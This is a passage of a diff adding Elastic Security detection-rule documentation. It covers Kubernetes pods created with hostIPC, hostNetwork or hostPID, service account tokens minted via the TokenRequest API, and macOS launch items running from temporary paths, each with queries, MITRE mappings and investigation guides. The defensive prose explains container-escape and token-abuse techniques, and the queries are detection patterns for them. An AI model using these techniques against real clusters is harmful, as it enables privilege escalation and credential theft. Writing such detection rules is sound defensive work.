Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:file and host.os.type:linux and event.type:creation and file.extension:ko and +not ( + file.path:( + /tmp/mkinitramfs* or /var/cache/uptrack/* or /var/tmp/dracut.* or /build/* or /var/lib/dkms/* or + /mnt/Samsung/* or /var/tmp/portage/* or /tmp/user/0/mkinitramfs* or /var/tmp/supermin* or + /mnt/img/storage/squashfs-root/* or /var/opt/eset/* or /var/tmp/mkinitramfs_* + ) or + process.executable:( + "/sbin/dracut" or "/opt/traps/bin/pmd" or "/usr/bin/pacman" or "/usr/bin/containerd" or + "/usr/sbin/dockerd" or "/usr/bin/dockerd" or /snap/* or + "/usr/lib/dracut/dracut-initramfs-restore" or "/sbin/unsquashfs" + ) or + process.name:"cpio" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Kernel Modules and Extensions +** ID: T1547.006 +** Reference URL: https://attack.mitre.org/techniques/T1547/006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Rootkit +** ID: T1014 +** Reference URL: https://attack.mitre.org/techniques/T1014/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Kernel Modules and Extensions +** ID: T1547.006 +** Reference URL: https://attack.mitre.org/techniques/T1547/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-kubernetes-pod-created-with-hostipc.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-kubernetes-pod-created-with-hostipc.asciidoc new file mode 100644 index 0000000000..93fe187bb8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-kubernetes-pod-created-with-hostipc.asciidoc @@ -0,0 +1,139 @@ +[[prebuilt-rule-8-19-36-kubernetes-pod-created-with-hostipc]] +=== Kubernetes Pod Created With HostIPC + +This rule detects an attempt to create or modify a pod using the host IPC namespace. This gives access to data used by any pod that also use the hosts IPC namespace. If any process on the host or any processes in a pod uses the hosts inter-process communication mechanisms (shared memory, semaphore arrays, message queues, etc.), an attacker can read/write to those same mechanisms. They may look for files in /dev/shm or use ipcs to check for any IPC facilities being used. + +*Rule type*: query + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://research.nccgroup.com/2021/11/10/detection-engineering-for-kubernetes-clusters/#part3-kubernetes-detections +* https://kubernetes.io/docs/concepts/security/pod-security-admission/ +* https://bishopfox.com/blog/kubernetes-pod-privilege-escalation + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Threat: Container Escape +* Rule Type: Custom Query (KQL) +* Platform: Kubernetes +* Domain: Containers +* Domain: Cloud + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Pod Created With HostIPC* + + +Kubernetes allows pods to share the host's IPC namespace, enabling inter-process communication. While useful for legitimate applications, adversaries can exploit this to access shared memory and IPC mechanisms, potentially leading to data exposure or privilege escalation. The detection rule identifies suspicious pod creation or modification events that enable host IPC, excluding known benign images, to flag potential security threats. + + +*Possible investigation steps* + + +- Review the Kubernetes audit logs to identify the specific pod creation or modification event that triggered the alert, focusing on the event.dataset field with the value "kubernetes.audit_logs". +- Examine the kubernetes.audit.annotations.authorization_k8s_io/decision field to confirm that the action was allowed, and verify the identity of the user or service account that initiated the request. +- Investigate the kubernetes.audit.objectRef.resource field to ensure the resource involved is indeed a pod, and check the kubernetes.audit.verb field to determine if the action was a create, update, or patch operation. +- Analyze the kubernetes.audit.requestObject.spec.hostIPC field to confirm that host IPC was enabled, and cross-reference with the kubernetes.audit.requestObject.spec.containers.image field to ensure the image is not part of the known benign list. +- Check for any other pods or processes on the host that might be using the host's IPC namespace, and assess if there is any unauthorized access or data exposure risk. +- Look for any suspicious activity or anomalies in the /dev/shm directory or use the ipcs command to identify any IPC facilities that might be exploited. + + +*False positive analysis* + + +- Pods using hostIPC for legitimate inter-process communication may trigger alerts. Review the pod's purpose and verify if hostIPC is necessary for its function. +- Known benign images, such as monitoring or logging agents, might use hostIPC. Update the exclusion list to include these images if they are verified as non-threatening. +- Development or testing environments often use hostIPC for debugging purposes. Consider excluding these environments from the rule or creating a separate rule with a higher threshold for alerts. +- Automated deployment tools might temporarily use hostIPC during setup. Ensure these tools are recognized and excluded if they are part of a controlled and secure process. +- Regularly review and update the exclusion list to reflect changes in your environment, ensuring that only verified and necessary uses of hostIPC are excluded. + + +*Response and remediation* + + +- Immediately isolate the affected pod to prevent further access to the host's IPC namespace. This can be done by cordoning the node or deleting the pod if necessary. +- Review and revoke any unnecessary permissions or roles that allowed the pod to be created or modified with hostIPC enabled. Ensure that only trusted entities have the capability to modify pod specifications. +- Conduct a thorough audit of other pods and configurations in the cluster to identify any additional instances where hostIPC is enabled without a valid justification. +- Implement network policies to restrict communication between pods and the host, limiting the potential impact of any unauthorized access to the host's IPC mechanisms. +- Escalate the incident to the security operations team for further investigation and to determine if any data exposure or privilege escalation occurred. +- Update security policies and configurations to prevent the use of hostIPC in future pod deployments unless explicitly required and approved. +- Enhance monitoring and alerting to detect similar attempts in the future, ensuring that any unauthorized use of hostIPC is promptly flagged and addressed. + +==== Setup + + +The Kubernetes Fleet integration with Audit Logs enabled or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset : "kubernetes.audit_logs" and kubernetes.audit.annotations.authorization_k8s_io/decision:"allow" and +kubernetes.audit.objectRef.resource:"pods" and kubernetes.audit.verb:("create" or "update" or "patch") and +kubernetes.audit.requestObject.spec.hostIPC:true and +not kubernetes.audit.requestObject.spec.containers.image: ( + docker.elastic.co/beats/elastic-agent* or rancher/system-agent* or registry.crowdstrike.com/falcon-sensor* +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Deploy Container +** ID: T1610 +** Reference URL: https://attack.mitre.org/techniques/T1610/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-kubernetes-pod-created-with-hostnetwork.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-kubernetes-pod-created-with-hostnetwork.asciidoc new file mode 100644 index 0000000000..bdb407f324 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-kubernetes-pod-created-with-hostnetwork.asciidoc @@ -0,0 +1,145 @@ +[[prebuilt-rule-8-19-36-kubernetes-pod-created-with-hostnetwork]] +=== Kubernetes Pod Created With HostNetwork + +This rules detects an attempt to create or modify a pod attached to the host network. HostNetwork allows a pod to use the node network namespace. Doing so gives the pod access to any service running on localhost of the host. An attacker could use this access to snoop on network activity of other pods on the same node or bypass restrictive network policies applied to its given namespace. + +*Rule type*: query + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://research.nccgroup.com/2021/11/10/detection-engineering-for-kubernetes-clusters/#part3-kubernetes-detections +* https://kubernetes.io/docs/concepts/security/pod-security-admission/ +* https://bishopfox.com/blog/kubernetes-pod-privilege-escalation + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Container Escape +* Rule Type: Custom Query (KQL) +* Platform: Kubernetes +* Domain: Containers +* Domain: Cloud + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Pod Created With HostNetwork* + + +Kubernetes allows pods to connect to the host's network namespace using HostNetwork, granting them direct access to the node's network interfaces. This capability can be exploited by attackers to monitor or intercept network traffic, potentially bypassing network policies. The detection rule identifies suspicious pod creation or modification events with HostNetwork enabled, excluding known benign images, to flag potential privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the Kubernetes audit logs to identify the source of the pod creation or modification event, focusing on the user or service account associated with the action. +- Examine the pod's configuration details, especially the containers' images, to determine if any unauthorized or suspicious images are being used, excluding known benign images like "docker.elastic.co/beats/elastic-agent:8.4.0". +- Investigate the network activity of the node where the pod is running to identify any unusual traffic patterns or potential data exfiltration attempts. +- Check the Kubernetes RBAC (Role-Based Access Control) settings to ensure that the user or service account has appropriate permissions and is not overly privileged. +- Assess the necessity of using HostNetwork for the pod in question and determine if it can be reconfigured to operate without this setting to reduce potential security risks. + + +*False positive analysis* + + +- Pods used for monitoring or logging may require HostNetwork access to gather network data across nodes. Users can exclude these by adding their specific container images to the exception list in the detection rule. +- Certain system-level services or infrastructure components might need HostNetwork for legitimate reasons, such as network plugins or ingress controllers. Identify these services and update the rule to exclude their specific images or namespaces. +- Development or testing environments might frequently create pods with HostNetwork for debugging purposes. Consider creating a separate rule or environment-specific exceptions to avoid alert fatigue in these scenarios. +- Pods that are part of a known and trusted deployment process, which require HostNetwork for valid operational reasons, should be documented and excluded from the rule to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected pod by cordoning the node to prevent new pods from being scheduled and draining existing pods to other nodes, except the suspicious one. +- Terminate the suspicious pod to stop any potential malicious activity and prevent further network access. +- Review and revoke any unnecessary permissions or roles associated with the service account used by the pod to limit privilege escalation opportunities. +- Conduct a thorough audit of network policies to ensure they are correctly configured to prevent unauthorized access to the host network. +- Escalate the incident to the security operations team for further investigation and to determine if any data was accessed or exfiltrated. +- Implement additional monitoring and alerting for any future pod creations with HostNetwork enabled to quickly detect similar threats. +- Review and update Kubernetes RBAC policies to enforce the principle of least privilege, ensuring only trusted entities can create pods with HostNetwork enabled. + +==== Setup + + +The Kubernetes Fleet integration with Audit Logs enabled or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:kubernetes.audit_logs and kubernetes.audit.annotations.authorization_k8s_io/decision:allow and +kubernetes.audit.objectRef.resource:pods and kubernetes.audit.verb:(create or patch or update) and +kubernetes.audit.requestObject.spec.hostNetwork:true and +not ( + kubernetes.audit.requestObject.spec.containers.image:( + *eks/observability/aws-for-fluent-bit* or *eks/observability/cloudwatch-agent* or *elastic-agent* or *quay/tigera* or *tigera/operator* or + docker.io/bitnami/node-exporter* or docker.io/rancher/mirrored-calico-operator* or quay.io/calico/node* or quay.io/cephcsi/cephcsi* or + quay.io/frrouting/frr* or quay.io/metallb/speaker* or quay.io/prometheus/node-exporter* or rancher/system-agent* or + registry.crowdstrike.com/falcon-sensor* or registry.k8s.io/sig-storage/csi-node-driver-registrar* + ) or + kubernetes.audit.objectRef.namespace:( + calico or calico-system or cilium or elastic or ingress-nginx or kube-system or noname-security-posture or openebs or sysdig-agent + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Deploy Container +** ID: T1610 +** Reference URL: https://attack.mitre.org/techniques/T1610/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-kubernetes-pod-created-with-hostpid.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-kubernetes-pod-created-with-hostpid.asciidoc new file mode 100644 index 0000000000..4a7075ca7c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-kubernetes-pod-created-with-hostpid.asciidoc @@ -0,0 +1,142 @@ +[[prebuilt-rule-8-19-36-kubernetes-pod-created-with-hostpid]] +=== Kubernetes Pod Created With HostPID + +This rule detects an attempt to create or modify a pod attached to the host PID namespace. HostPID allows a pod to access all the processes running on the host and could allow an attacker to take malicious action. When paired with ptrace this can be used to escalate privileges outside of the container. When paired with a privileged container, the pod can see all of the processes on the host. An attacker can enter the init system (PID 1) on the host. From there, they could execute a shell and continue to escalate privileges to root. + +*Rule type*: query + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://research.nccgroup.com/2021/11/10/detection-engineering-for-kubernetes-clusters/#part3-kubernetes-detections +* https://kubernetes.io/docs/concepts/security/pod-security-admission/ +* https://bishopfox.com/blog/kubernetes-pod-privilege-escalation + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Noise: High +* Performance: Fast +* Profile: Aggressive +* Threat: Container Escape +* Rule Type: Custom Query (KQL) +* Platform: Kubernetes +* Domain: Containers +* Domain: Cloud + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Pod Created With HostPID* + + +Kubernetes allows pods to share the host's process ID (PID) namespace, enabling visibility into host processes. While useful for debugging, this can be exploited by attackers to escalate privileges, especially when combined with privileged containers. The detection rule identifies attempts to create or modify pods with HostPID enabled, excluding known safe images, to flag potential privilege escalation activities. + + +*Possible investigation steps* + + +- Review the Kubernetes audit logs to identify the user or service account responsible for the pod creation or modification attempt. Look for the `kubernetes.audit.user.username` field to determine who initiated the action. +- Examine the `kubernetes.audit.requestObject.spec.containers.image` field to identify the container images used in the pod. Verify if any unknown or suspicious images are being deployed. +- Check the `kubernetes.audit.annotations.authorization_k8s_io/decision` field to confirm that the action was allowed and investigate the context or reason for this decision. +- Investigate the `kubernetes.audit.objectRef.resource` and `kubernetes.audit.verb` fields to understand the specific action taken (create, update, or patch) and the resource involved. +- Assess the necessity and legitimacy of using HostPID in the pod's configuration by consulting with the relevant development or operations teams. Determine if there is a valid use case or if it was potentially misconfigured or maliciously set. +- Review any recent changes in the Kubernetes environment or related configurations that might have led to this alert, focusing on changes around the time the alert was triggered. + + +*False positive analysis* + + +- Known safe images like "docker.elastic.co/beats/elastic-agent:8.4.0" are already excluded, but other internal tools or monitoring agents that require HostPID for legitimate reasons might trigger false positives. Review and identify such images and add them to the exclusion list. +- Development or testing environments often use HostPID for debugging purposes. Consider creating a separate rule or exception for these environments to prevent unnecessary alerts. +- Some system maintenance tasks might require temporary use of HostPID. Document these tasks and schedule them during known maintenance windows, then adjust the rule to exclude these specific time frames. +- Regularly review audit logs to identify patterns of benign HostPID usage. Use this information to refine the rule and reduce false positives by updating the exclusion criteria. +- Collaborate with development and operations teams to understand legitimate use cases for HostPID in your environment, and adjust the rule to accommodate these scenarios without compromising security. + + +*Response and remediation* + + +- Immediately isolate the affected pod to prevent further interaction with the host processes. This can be done by cordoning the node or deleting the pod if necessary. +- Review and revoke any unnecessary permissions or roles that may have allowed the creation of pods with HostPID enabled. Ensure that only trusted users and service accounts have the ability to create such pods. +- Conduct a thorough investigation of the container images used in the pod to ensure they are from trusted sources and have not been tampered with. Remove any untrusted or suspicious images from the registry. +- Check for any unauthorized access or changes to the host system's processes and files. If any malicious activity is detected, take steps to restore affected systems from backups and patch any vulnerabilities. +- Implement network segmentation to limit the communication between pods and the host system, reducing the risk of lateral movement by an attacker. +- Enhance monitoring and logging to capture detailed audit logs of Kubernetes API activities, focusing on changes to pod specifications and the use of HostPID. This will aid in detecting similar threats in the future. +- Escalate the incident to the security operations team for further analysis and to determine if additional security measures or incident response actions are required. + +==== Setup + + +The Kubernetes Fleet integration with Audit Logs enabled or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset : "kubernetes.audit_logs" and kubernetes.audit.annotations.authorization_k8s_io/decision:"allow" and +kubernetes.audit.objectRef.resource:"pods" and kubernetes.audit.verb:("create" or "update" or "patch") and +kubernetes.audit.requestObject.spec.hostPID:true and +not kubernetes.audit.requestObject.spec.containers.image: ( + ghcr.io/aquasecurity/node-collector* or rancher/system-agent* or ghcr.io/kubereboot/kured* or + *elastic/elastic-agent* or registry.k8s.io/sig-storage/csi-node-driver-registrar* or quay.io/prometheus/node-exporter* or + docker.elastic.co/beats/elastic-agent* or quay.io/cephcsi/cephcsi* or registry.crowdstrike.com/falcon-sensor* or */sysdig/* or + rancher/mirrored-longhornio-longhorn-manager* or gcr.io/datadoghq/agent* or mcr.microsoft.com/oss/*/kubernetes-csi* +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Deploy Container +** ID: T1610 +** Reference URL: https://attack.mitre.org/techniques/T1610/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-kubernetes-service-account-token-created-via-tokenrequest-api.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-kubernetes-service-account-token-created-via-tokenrequest-api.asciidoc new file mode 100644 index 0000000000..c59193ab6e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-kubernetes-service-account-token-created-via-tokenrequest-api.asciidoc @@ -0,0 +1,138 @@ +[[prebuilt-rule-8-19-36-kubernetes-service-account-token-created-via-tokenrequest-api]] +=== Kubernetes Service Account Token Created via TokenRequest API + +Detects the creation of a Kubernetes service account token through the TokenRequest API by a non-system identity. The TokenRequest API allows users and workloads to programmatically generate short-lived tokens for any service account they have create permissions on, without accessing the filesystem or the mounted projected token. Attackers who have gained initial access to a cluster can abuse this API to mint tokens for more privileged service accounts, pivot to cloud provider resources via IRSA/workload identity, or generate long-lived tokens that persist beyond pod termination. Unlike mounted service account tokens which are detectable through file access monitoring, tokens created via the TokenRequest API leave no filesystem footprint, they are only visible in Kubernetes audit logs as a create verb on the serviceaccounts/token subresource. This rule excludes legitimate system components such as the kubelet, kube-controller-manager, and cloud provider managed identities (EKS, AKS, GKE) that routinely create tokens for pod lifecycle management. + +*Rule type*: query + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/reference/kubernetes-api/authentication-resources/token-request-v1/ +* https://attack.mitre.org/techniques/T1552/007/ + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: Kubernetes +* Domain: Containers +* Domain: Cloud + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Kubernetes Service Account Token Created via TokenRequest API* + + +This alert indicates a successful `create` against the `serviceaccounts/token` subresource (TokenRequest API), which +issues a new service account token without a filesystem read. In EKS and other managed clusters, this can be abused to +mint tokens for more privileged service accounts (including IRSA-linked ones) and pivot to cloud APIs. + + +*What to review first* + + +- Actor and origin: + - `user.name` / `kubernetes.audit.user.username` + - `source.ip` / `kubernetes.audit.sourceIPs` + - `user_agent.original` / `kubernetes.audit.userAgent` + - For cloud identity, review `kubernetes.audit.user.extra.*` (e.g., `arn`, `principalId`). +- Targeted service account: + - `kubernetes.audit.objectRef.namespace` and `kubernetes.audit.objectRef.name` + - `kubernetes.audit.requestURI` (should resemble `/api/v1/namespaces//serviceaccounts//token`) +- Token issuance hints: + - `kubernetes.audit.annotations.authentication_kubernetes_io/issued-credential-id` (token JTI/issued credential id) + + +*Scoping* + + +- Identify which Role/ClusterRoleBindings grant the actor `create` on `serviceaccounts/token` in the affected namespace. +- Pivot on the same `user.name` and `source.ip` for follow-on secret reads, pod exec, RBAC changes, or cloud API calls. + + +*Response and remediation* + + +- If unauthorized, remove/revert the RBAC permission that allows TokenRequest (`serviceaccounts/token`) and rotate the + affected service account credentials where applicable. +- For IRSA/workload identity cases, rotate/revoke the cloud role session pathways and review cloud audit logs for API + activity from the time window of the token mint. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"kubernetes.audit_logs" and +kubernetes.audit.verb:"create" and +kubernetes.audit.objectRef.resource:"serviceaccounts" and +kubernetes.audit.objectRef.subresource:"token" and +user.name:(* and not + (system\:kube-controller-manager or + system\:kube-scheduler or + system\:node\:* or + system\:serviceaccount\:kube-system\:* or + eks\:* or + aksService or + aks-service or + masterclient or + nodeclient or + system\:serviceaccount\:gke-managed-system\:* or + system\:serviceaccount\:gke-connect\:* or + system\:serviceaccount\:anthos-identity-service\:* or + system\:gke-controller-manager or + system\:serviceaccount\:tigera-operator\:* or + system\:serviceaccount\:calico-system\:*)) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Container API +** ID: T1552.007 +** Reference URL: https://attack.mitre.org/techniques/T1552/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-launch-item-registration-with-suspicious-executable-path-via-macos-security-events.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-launch-item-registration-with-suspicious-executable-path-via-macos-security-events.asciidoc new file mode 100644 index 0000000000..d2ddb86e6c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-launch-item-registration-with-suspicious-executable-path-via-macos-security-events.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-36-launch-item-registration-with-suspicious-executable-path-via-macos-security-events]] +=== Launch Item Registration with Suspicious Executable Path via macOS Security Events + +Identifies the registration of a launch agent or launch daemon whose target executable resides in a temporary or user-writable location, using launch item registration messages collected by the macOS Security Events integration. An adversary may establish persistence with a launch agent or daemon that runs a program staged in a world-writable or temporary directory, which is uncommon for legitimate software. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.welivesecurity.com/2022/07/19/i-see-what-you-did-there-look-cloudmensis-macos-spyware/ +* https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html + +*Tags*: + +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: macOS Security Events +* Resources: Investigation Guide +* Rule Type: ESQL +* Platform: macOS +* Domain: Endpoint + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Launch Item Registration with Suspicious Executable Path via macOS Security Events* + + +On macOS, launch agents and launch daemons run a program defined in their property list (plist). When a launch item is registered, the BackgroundTaskManagement subsystem logs the plist path and the target executable path to the unified log. Legitimate persistent software almost always runs an executable from a system or application directory. An executable staged in a temporary or world-writable directory (for example `/tmp`, `/private/tmp`, `/var/tmp`, `/Users/Shared`, or `/var/folders`) is a strong indicator of malicious persistence. This rule alerts on launch item registrations whose executable resides in such a location, and reports the plist path, item type, and executable. + + +*Possible investigation steps* + + +- Review `Esql.executable` and `Esql.plist_path` in the alert to identify the staged program and its launch item. +- Retrieve and analyze the executable. Determine whether it is signed, what it does, and how it arrived on the host. +- Determine how and when the plist and executable were created, and by which process, using Elastic Defend telemetry if available. +- Review other alerts and activity for the host and associated user during the same period. + + +*False positive analysis* + + +- Developer and build tooling occasionally runs helper executables from temporary or user directories. +- Verify the executable and its origin; exclude known-good paths or signing identities if the behavior is expected. + + +*Response and remediation* + + +- If the launch item is not legitimate, unload it with `launchctl bootout`, remove the plist, and remove or quarantine the executable. +- Investigate the host for the initial access vector and any activity performed by the program. +- Reset credentials for the affected user and review the host for additional compromise. +- Escalate to the security operations team if additional hosts show similar patterns. + + +==== Setup + + + +*Setup* + + +This rule requires data from the macOS Security Events integration. +Integration setup instructions: https://www.elastic.co/docs/reference/integrations/macos[macOS Security Events Integration for Elastic] + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-macos.process_execution_monitoring-* metadata _id, _version, _index +| WHERE data_stream.dataset == "macos.process_execution_monitoring" and + macos.event.message.description LIKE "*effectiveItemDisposition*" and + (macos.event.message.description LIKE "*url=file://*/Library/LaunchAgents/*" or + macos.event.message.description LIKE "*url=file://*/Library/LaunchDaemons/*") +| GROK macos.event.message.description "url=file://%{DATA:Esql.plist_path}, config" +| GROK macos.event.message.description "type=%{DATA:Esql.item_type}," +| GROK macos.event.message.description "BTMConfigExecutablePath = \"%{DATA:Esql.executable}\"" +| WHERE Esql.executable RLIKE "/(private/)?(tmp|var/tmp|var/folders)/.*|/Users/Shared/.*|/Users/[^/]+/(Downloads|Public|Library/Caches)/.*" +| KEEP _id, _version, _index, @timestamp, host.name, Esql.executable, Esql.plist_path, Esql.item_type, macos.event.message.description + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Launch Agent +** ID: T1543.001 +** Reference URL: https://attack.mitre.org/techniques/T1543/001/ +* Sub-technique: +** Name: Launch Daemon +** ID: T1543.004 +** Reference URL: https://attack.mitre.org/techniques/T1543/004/ diff --git 